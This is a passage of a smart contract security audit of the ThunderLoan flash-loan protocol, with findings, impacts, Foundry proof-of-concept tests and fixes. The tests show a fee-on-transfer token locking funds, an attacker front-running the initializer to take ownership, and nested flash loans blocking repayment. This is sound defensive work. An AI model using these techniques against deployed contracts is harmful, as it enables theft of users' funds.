**Recommended Mitigation:** Consider using another price oracle mechanism that takes into account the token decimals when calculating the price of one pool token in WETH, for example, Chainlink Price Feeds. It should also be mentioned that the fees are accrued in the underlying token, although the calculation is done in WETH, which could lead to severe discrepancies.

#### **[M-4] Using some of the weird ERC-20 token implementations that have fees on transfer, rebasing, blacklists, etc could lead to unexpected behavior**

**Description:** The protocol does not limit the usage of ERC-20 tokens on the platform, so there could be some tokens added by the contract owner that may break the functionality for the selected asset. It has been noted as a known issue, but should still be emphasized.

**Impact:** Flashloan functionality might not work as expected for some of the assets, making those assets unusable on the platform. It could also lock the funds in the contract, making them inaccessible.

**Proof of Concept:** We can write a simple ERC-20 token contract, that would take 10% fee on every transfer and burn it:

```
1  contract WeirdERC20 is ERC20 {
2      constructor() ERC20("WeirdERC20", "WERC") {
3          _mint(msg.sender, 1_000_000 * 10 ** 18);
4      }
5
6      /// @dev We burn 10% of the transferred amount
7      function transferFrom(address from, address to, uint256 value)
8          public override returns (bool) {
9          address spender = _msgSender();
10         _spendAllowance(from, spender, value);
11         _transfer(from, to, value * 90 / 100);
12         _burn(from, value * 10 / 100);
13         return true;
14     }
```

```
14
15     function mint(address to, uint256 value) public {
16         _mint(to, value);
17     }
18 }
```

Then let's write a test function, that will allow the weird token. Then we will deposit, and then withdraw:

```
1     function testWeirdERC20breaksProtocol() public {
2         thunderLoan = new ThunderLoan();
3         WeirdERC20 weirdToken = new WeirdERC20();
4         proxy = new ERC1967Proxy(address(thunderLoan), "");
5         PoolFactory poolFactory = new PoolFactory(address(weth));
6         address tSwapPool = poolFactory.createPool(address(weirdToken))
7         ;
8         thunderLoan = ThunderLoan(address(proxy));
9         thunderLoan.initialize(address(poolFactory));
10
11         // Allow the weird token
12         vm.prank(thunderLoan.owner());
13         thunderLoan.setAllowedToken(weirdToken, true);
14
15         // Supply the TSwap pool
16         vm.startPrank(LiquidityProvider);
17         weirdToken.mint(LiquidityProvider, DEPOSIT_AMOUNT);
18         weirdToken.approve(address(tSwapPool), DEPOSIT_AMOUNT);
19         weth.mint(LiquidityProvider, DEPOSIT_AMOUNT);
20         weth.approve(address(tSwapPool), DEPOSIT_AMOUNT);
21         TSwapPool(tSwapPool).deposit(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT,
22             DEPOSIT_AMOUNT, uint64(block.timestamp));
23         vm.stopPrank();
24
25         vm.startPrank(LiquidityProvider);
26         weirdToken.mint(LiquidityProvider, DEPOSIT_AMOUNT);
27         weirdToken.approve(address(thunderLoan), DEPOSIT_AMOUNT);
28         // Actually deposited 90% of the amount, other 10% was burned
29         // by WeirdERC20
30         thunderLoan.deposit(weirdToken, DEPOSIT_AMOUNT);
31         // Now we can't withdraw the full amount, as ThunderLoan thinks
32         // we deposited 100% of the DEPOSIT_AMOUNT
33         vm.expectRevert(
34             abi.encodePacked(
35                 IERC20Errors.ERC20InsufficientBalance.selector,
36                 abi.encode(
37                     address(thunderLoan.getAssetFromToken(weirdToken)),
38                     DEPOSIT_AMOUNT * 90 / 100,
39                     DEPOSIT_AMOUNT
40                 )
41             )
42         );
```

```
39         thunderLoan.redeem(weirdToken, type(uint256).max);
40         vm.stopPrank();
41     }
```

The test passes, meaning that we were not able to withdraw the full amount of the funds and the contract reverted with `ERC20InsufficientBalance`. We can still withdraw the 90% of our deposit (although we would get 81% back, as that would trigger another burn on transfer), but the fee calculations would be all broken, and `ThunderLoan::redeem` function won't work with its `type(uint256).max` functionality. That is, taking into the account, that we fixed the [H-2] issue that changes the exchange rate on deposit.

**Recommended Mitigation:** Make sure to test the protocol with different ERC-20 tokens, and limit the usage of the protocol to the tokens that are known to work correctly.

### [M-5] Centralization risk for trusted owners

**Description:** There are functions on protocol methods that can only be called by the owner (admin) of the protocol. This could lead to centralization risk, as the owner could perform any action on the protocol.

**Impact:** The owner could perform any action on the protocol, including stealing the funds from the liquidity providers, changing the protocol logic, or freezing the protocol.

**Recommended Mitigation:** Make sure that the owner is a trusted party, and look into using a multisig wallet for the owner. Also make sure that users of the protocol know about the centralization risk, and consider using a DAO for the protocol.

## Low

### [L-1] ThunderLoan contract initializer can be front-run by the attacker, which would set them as contract owner

**Description:** The `ThunderLoan` contract initializer can be front-run by the attacker, which would set them as the contract owner. The `ThunderLoan` contract uses the `OwnableUpgradeable` contract, which has an `__Ownable_init` function that sets the contract owner. The `__Ownable_init` function is called in the `ThunderLoan` contract initializer, which can be front-run by the attacker, and they would set themselves as the contract owner.

```
1     function initialize(address tswapAddress) external initializer {
2         __Ownable_init(msg.sender);
3         __UUPSUpgradeable_init();
4         __Oracle_init(tswapAddress);
5     }
```

```
5         s_feePrecision = 1e18;
6         s_flashLoanFee = 3e15; // 0.3% ETH fee
7     }
```

**Impact:** The attacker would set themselves as the contract owner, which would allow them to perform any action on the contract, including stealing the funds from the liquidity providers.

**Proof of Concept:** We can write a test function, that will initialize the contract on behalf of the user, making him the owner of the contract:

```
1     function testFrontRunInitializer() public {
2         thunderLoan = new ThunderLoan();
3         proxy = new ERC1967Proxy(address(thunderLoan), "");
4         thunderLoan = ThunderLoan(address(proxy));
5
6         vm.prank(user);
7         thunderLoan.initialize(address(mockPoolFactory));
8
9         assertEq(user, thunderLoan.owner());
10    }
```

As we can see, test passes, meaning that the attacker was able to set themselves as the contract owner:

```
1 Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
2 [PASS] testFrontRunInitializer() (gas: 2880306)
3 Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Consider using a factory contract to deploy the `ThunderLoan` contract.

## [L-2] The `ThunderLoan::repay` function becomes unusable after taking second flashloan and repaying it, so that the first flashloan could not be repaid

**Description:** The `ThunderLoan::repay` function becomes unusable after taking second flashloan while the first one has not been repaid yet, as the `s_currentlyFlashLoaning[token]` is being set to `false` after the second flashloan finishes, the first one can't be repaid because of the `revert` in the `ThunderLoan::repay` function:

```
1     function repay(IERC20 token, uint256 amount) public {
2         if (!s_currentlyFlashLoaning[token]) {
3             revert ThunderLoan__NotCurrentlyFlashLoaning();
4         }
5         ...
6     }
```



**Impact:** Users won't be able to perform complex flashloan operations as the `ThunderLoan::repay` function becomes unusable after taking the second flashloan and repaying it.

**Proof of Concept:** We can write a test function, in which we would take out two flashloans, and then try to repay the first one. First let's write a contract that would be responsible for taking out the second flashloan and repay the second and the first one:

```
1  contract SeveralFlashLoansReceiver is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      bool isSecond;
4
5      constructor(address _thunderLoan) {
6          thunderLoan = ThunderLoan(_thunderLoan);
7      }
8
9      function executeOperation(
10         address token,
11         uint256 amount,
12         uint256 fee,
13         address /*initiator*/,
14         bytes calldata /*params*/
15     )
16     external
17     returns (bool)
18     {
19         if (!isSecond) {
20             isSecond = true;
21             thunderLoan.flashloan(address(this), IERC20(token), amount,
22                 "");
23             IERC20(token).approve(address(thunderLoan), amount + fee);
24             thunderLoan.repay(IERC20(token), amount + fee);
25         } else {
26             IERC20(token).approve(address(thunderLoan), amount + fee);
27             thunderLoan.repay(IERC20(token), amount + fee);
28         }
29         return true;
30     }
31
32     function redeemDeposit(address token, uint256 amount) public {
33         thunderLoan.redeem(IERC20(token), amount);
34         IERC20(token).transfer(address(msg.sender), IERC20(token).
35             balanceOf(address(this)));
36     }
```

Then we can write a test function to see if the `ThunderLoan::repay` function becomes unusable after repaying the second flashloan:

```
1      function testCantRepayAfterSecondFlashloan() public setAllowedToken
2          hasDeposits {
```

```
2      uint256 amountToBorrow = AMOUNT * 10;
3      uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4          amountToBorrow);
5      SeveralFlashLoansReceiver severalFlashLoansReceiver = new
6          SeveralFlashLoansReceiver(address(thunderLoan));
7      vm.startPrank(user);
8      tokenA.mint(address(severalFlashLoansReceiver), AMOUNT);
9      vm.expectRevert(abi.encodePacked(ThunderLoan.
10          ThunderLoan__NotCurrentlyFlashLoaning.selector));
11      thunderLoan.flashloan(address(severalFlashLoansReceiver),
12          tokenA, amountToBorrow, "");
13  }
```

Test passes, meaning that the `ThunderLoan::repay` function reverted with the `ThunderLoan__NotCurrentlyFlashLoaning` error:

```
1  Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
2  [PASS] testCantRepayAfterSecondFlashloan() (gas: 1476333)
3  Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Consider keeping track of the opened flashloans by assigning a unique identifier to each flashloan, and then checking if the flashloan with that identifier has been repaid. You can also Consider adding a mechanism that enforces the repayment of an existing flashloan before initiating a new one. This could prevent users from triggering overlapping flashloans and encountering the issue in the first place.

### [L-3] Update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event

**Description:** The update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event, which would notify the users that the fee has been updated.

```
1  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2      if (newFee > s_feePrecision) {
3          revert ThunderLoan__BadNewFee();
4      }
5  ->    s_flashLoanFee = newFee;
6  }
```

**Impact:** The absence of an event emitted when the flash loan fee is updated can lead to a lack of transparency for users and external systems relying on event logs to monitor fee changes.

**Recommended Mitigation:** Consider adding an event that would notify the users that the fee has been updated:

```
1  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2      if (newFee > s_feePrecision) {
```

```
3         revert ThunderLoan__BadNewFee();
4     }
5     s_flashLoanFee = newFee;
6     emit FlashLoanFeeUpdated(newFee);
7 }
```

## Gas

### [G-1] Using **private** constants instead of **public** ones saves gas

You can save some deployment gas by using **private** constants instead of **public** ones. That way the compiler won't have to create non-payable getter functions for them. The `FEE_PRECISION` constant is used only within the `ThunderLoan` contract, so it can be made **private**:

```
1 contract ThunderLoanUpgraded is Initializable, OwnableUpgradeable,
  UUPSUpgradeable, OracleUpgradeable {
2     ...
3     uint256 private constant FEE_PRECISION = 1e18;
4     ...
5 }
```

Also, the `EXCHANGE_RATE_PRECISION` constant in `AssetToken` contract can be made **private**:

```
1 contract AssetToken is ERC20 {
2     ...
3     uint256 private constant EXCHANGE_RATE_PRECISION = 1e18;
4     ...
5 }
```

### [G-2] `AssetToken::updateExchangeRate` function uses too much SLOAD operations

The function `AssetToken::updateExchangeRate` unnecessarily uses too many storage reads, which cost additional gas. You can load the variable once, and then use it throughout the function:

```
1     function updateExchangeRate(uint256 fee) external onlyThunderLoan {
2         // 1. Get the current exchange rate
3         // 2. How big the fee is should be divided by the total supply
4         // 3. So if the fee is 1e18, and the total supply is 2e18, the
5             exchange rate be multiplied by 1.5
6         // if the fee is 0.5 ETH, and the total supply is 4, the
7             exchange rate should be multiplied by 1.125
8         // it should always go up, never down
9         // newExchangeRate = oldExchangeRate * (totalSupply + fee) /
10            totalSupply
```

```
8      // newExchangeRate = 1 (4 + 0.5) / 4
9      // newExchangeRate = 1.125
10 ->    uint256 currentExchangeRate = s_exchangeRate;
11 ->    uint256 newExchangeRate = currentExchangeRate * (totalSupply()
    + fee) / totalSupply();
12
13 ->    if (newExchangeRate <= currentExchangeRate) {
14 ->        revert AssetToken__ExchangeRateCanOnlyIncrease(
    currentExchangeRate, newExchangeRate);
15    }
16    s_exchangeRate = newExchangeRate;
17 ->    emit ExchangeRateUpdated(newExchangeRate);
18 }
```

### [G-3] Unused function `OracleUpgradeable::getPrice` can be removed

The `OracleUpgradeable::getPrice` function is not used anywhere in the protocol and can be removed in order to save on deployment gas costs:

```
1    function getPrice(address token) external view returns (uint256) {
2        return getPriceInWeth(token);
3    }
```

### [G-4] Unused custom error

#### **ThunderLoan::ThunderLoan\_\_ExchangeRateCanOnlyIncrease can be removed**

The custom error `ThunderLoan::ThunderLoan__ExchangeRateCanOnlyIncrease` is not used anywhere in the protocol and can be removed in order to save on deployment gas costs:

```
1    error ThunderLoan__ExchangeRateCanOnlyIncrease();
```

### [G-5] Use `uint256` values 1/2 instead of `bool` to save gas and avoid frequent `Gwarmaccess` and `Gsset` operation when setting `bool` to false and then back to true

Use `uint256(1)` and `uint256(2)` for **true** / **false** to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from **false** to **true**, after having been **true** in the past.

```
1    contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
2        ...
3        mapping(IERC20 token => uint256 currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

```
4      ...
5      function flashloan(
6          address receiverAddress,
7          IERC20 token,
8          uint256 amount,
9          bytes calldata params
10     )
11     external
12     revertIfZero(amount)
13     revertIfNotAllowedToken(token)
14     {
15         ...
16         s_currentlyFlashLoaning[token] = 2; // 2 instead of true
17         ...
18         s_currentlyFlashLoaning[token] = 1; // 1 instead of false
19     }
20     ...
21     function repay(IERC20 token, uint256 amount) public {
22         if (s_currentlyFlashLoaning[token] != 2) {
23             revert ThunderLoan__NotCurrentlyFlashLoaning();
24         }
25         AssetToken assetToken = s_tokenToAssetToken[token];
26         token.safeTransferFrom(msg.sender, address(assetToken), amount)
27         ;
28     }
29     ...
30     function isCurrentlyFlashLoaning(IERC20 token) public view returns
31         (bool) {
32         return s_currentlyFlashLoaning[token] == 2;
33     }
34 }
```

#### [G-6] Variable `s_feePrecision` in `ThunderLoan` contract can be made constant

The `s_feePrecision` variable in the `ThunderLoan` contract is never modified after initialization and can be made `constant` to save gas:

```
1      uint256 private constant FEE_PRECISION = 1e18;
```

#### [G-7] `public` functions not used internally could be marked `external`

Functions that are not used internally can be marked `external` to save gas in `ThunderLoan` and `ThunderLoanUpgraded` contracts:

```
1      function repay(IERC20 token, uint256 amount) external {
2          ...
```

```
3     }
4     function getAssetFromToken(IERC20 token) external view returns (
        AssetToken) {
5         return s_tokenToAssetToken[token];
6     }
7     function isCurrentlyFlashLoan(IERC20 token) external view
        returns (bool) {
8         return s_currentlyFlashLoan[token];
9     }
```

## Informational

### [I-1] Unused import

There's an unused import of `IThunderLoan` at `./src/interfaces/IFlashLoanReceiver.sol`:

```
1 import { IThunderLoan } from "./IThunderLoan.sol";
```

The `MockFlashLoanReceiver.sol` imports `IThunderLoan` from `IFlashLoanReceiver.sol` for some reason, but instead should import the interface directly from `IThunderLoan.sol`.

### [I-2] There is no natspec for several functions throughout the codebase

The following functions or contracts lack natspec: - `IFlashLoanReceiver::executeOperation` function - `ThunderLoan::deposit` function - `ThunderLoan::redeem` function lacks explanation of the `amountOfAssetToken == type(uint256).max` case to withdraw all the available funds - `OracleUpgradeable` contract - Other functions of the `ThunderLoan` contract

### [I-3] The ThunderLoan contract does not implement the IThunderLoan interface as it should

Consider implementing the `IThunderLoan` interface in the `ThunderLoan` contract and extending the interface to cover all of the functions in the contract.

**[I-4] Missing address(0) check at OracleUpgradeable::\_\_Oracle\_init\_unchained**

`OracleUpgradeable::__Oracle_init_unchained` function lacks a check for the `address(0)` value:

```
1     function __Oracle_init_unchained(address poolFactoryAddress)
      internal onlyInitializing {
2 ->     s_poolFactory = poolFactoryAddress;
3     }
```

**[I-5] Fork tests not used despite using an external protocol**

The `ThunderLoan` contract uses an external protocol, `TSwap`, for price oracles. Consider writing fork tests to test the integration with the external protocol. The `ITSwapPool::getPriceOfOnePoolTokenInWeth` should be tested in particular.

**[I-6] PUSH0 is not supported by all chains**

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

**[I-7] Misleading naming of variable in ThunderLoan::initialize function**

Consider changing the `tswapAddress` name to `poolFactoryAddress` for more consistency and clarity.

```
1 -> function initialize(address tswapAddress) external initializer {
2     __Ownable_init(msg.sender);
3     __UUPSUpgradeable_init();
4     __Oracle_init(tswapAddress);
5     s_feePrecision = 1e18;
6     s_flashLoanFee = 3e15; // 0.3% ETH fee
7 }
```

**[I-8] ThunderLoan::flashLoan function doesn't follow the CEI pattern**

The `ThunderLoan::flashLoan` function doesn't follow the CEI pattern, which may lead to reentrancy attacks. Consider following the CEI pattern and emit the `FlashLoanStart` and `FlashLoanEnd` events before and after the interactions, respectively, if needed.

```

1      function flashloan(
2          address receiverAddress,
3          IERC20 token,
4          uint256 amount,
5          bytes calldata params
6      )
7          external
8          revertIfZero(amount)
9          revertIfNotAllowedToken(token)
10     {
11         ...
12 ->     emit FlashLoan(receiverAddress, token, amount, fee, params); //
        Event is emitted before the interactions
13
14         s_currentlyFlashLoaning[token] = true;
15         assetToken.transferUnderlyingTo(receiverAddress, amount);
16         // slither-disable-next-line unused-return reentrancy-
        vulnerabilities-2
17         receiverAddress.functionCall(
18             abi.encodeCall(
19                 IFlashLoanReceiver.executeOperation,
20                 (
21                     address(token),
22                     amount,
23                     fee,
24                     msg.sender, // initiator
25                     params
26                 )
27             )
28         );
29         ...
30     }

```

### [I-9] Custom revert reason unclear

Consider adding `IERC20 token` to the `ThunderLoan::ThunderLoan__AlreadyAllowed` error for more clarity.

```

1      function setAllowedToken(IERC20 token, bool allowed) external
2          onlyOwner returns (AssetToken) {
3          if (allowed) {
4 ->          if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed(); // Revert with
                token for better clarity
5              }
6              ...
7          } else {
8              ...

```



```
9      }
10     }
```

#### [I-10] No checks for name or symbol at ThunderLoan::setAllowedToken

Consider checking whether the token has a `name` and `symbol` before adding it to the `s_tokenToAssetToken` mapping.

```
1      function setAllowedToken(IERC20 token, bool allowed) external
2          onlyOwner returns (AssetToken) {
3          if (allowed) {
4              ...
4 ->          string memory name = string.concat("ThunderLoan ",
IERC20Metadata(address(token)).name()); // Token might not have a
name or symbol
5 ->          string memory symbol = string.concat("tl", IERC20Metadata(
address(token)).symbol());
6              AssetToken assetToken = new AssetToken(address(this), token
, name, symbol);
7              s_tokenToAssetToken[token] = assetToken;
8              ...
9          } else {
10             ...
11         }
12     }
```

#### [I-11] Test coverage is too low

The test coverage is too low, consider writing more tests to cover the whole codebase in order to ensure the correctness of the protocol.

#### [I-12] Upgradeable contract is missing a `__gap[]` storage variable to allow for new storage variables in later versions

When designing an upgradeable smart contract using proxies, the storage layout must remain consistent across all contract versions. If additional storage variables are added in future contract versions without reserved space, it can lead to storage collisions with existing variables, potentially leading to critical issues such as data corruption or loss. To mitigate the risk of storage collisions when upgrading the contract, it is recommended to include a reserved storage gap in the contract. This reserved storage gap should be large enough to accommodate potential storage variables that may be introduced in future contract versions. A common practice is to include a private `__gap` variable in the contract, which is an array of empty bytes32/uint256 variables. This `__gap` variable should be the last declared

variable in the contract to ensure that it occupies the last storage slots, allowing additional variables to be added before it in future contract versions:

```
1 contract ThunderLoan is Initializable, OwnableUpgradeable,  
    UUPSUpgradeable, OracleUpgradeable {  
2     ...  
3     // Reserved storage space to allow for layout changes in the future  
4     uint256[50] private __gap;  
5     ...  
6 }
```

**[I-13] Parameters of `IThunderLoan::repay` and `ThunderLoan::repay` functions are different, which could lead to incorrect usage and the functionality not working as expected**

`IThunderLoan` interface describes the `repay` function as follows:

```
1 interface IThunderLoan {  
2     function repay(address token, uint256 amount) external;  
3 }
```

The implementation, however, has a different signature, and instead of `address` it takes `IERC20` as the first parameter:

```
1 contract ThunderLoan is Initializable, OwnableUpgradeable,  
    UUPSUpgradeable, OracleUpgradeable {  
2     ...  
3     function repay(IERC20 token, uint256 amount) public {  
4         if (!s_currentlyFlashLoaning[token]) {  
5             revert ThunderLoan__NotCurrentlyFlashLoaning();  
6         }  
7         AssetToken assetToken = s_tokenToAssetToken[token];  
8         token.safeTransferFrom(msg.sender, address(assetToken), amount)  
9         ;  
10    }  
11    ...  
12 }
```

The incorrect usage of the `repay` function could lead to the functionality not working as expected. The user might not be able to repay the flashloan correctly. Make sure that the interface and the implementation have the same parameters.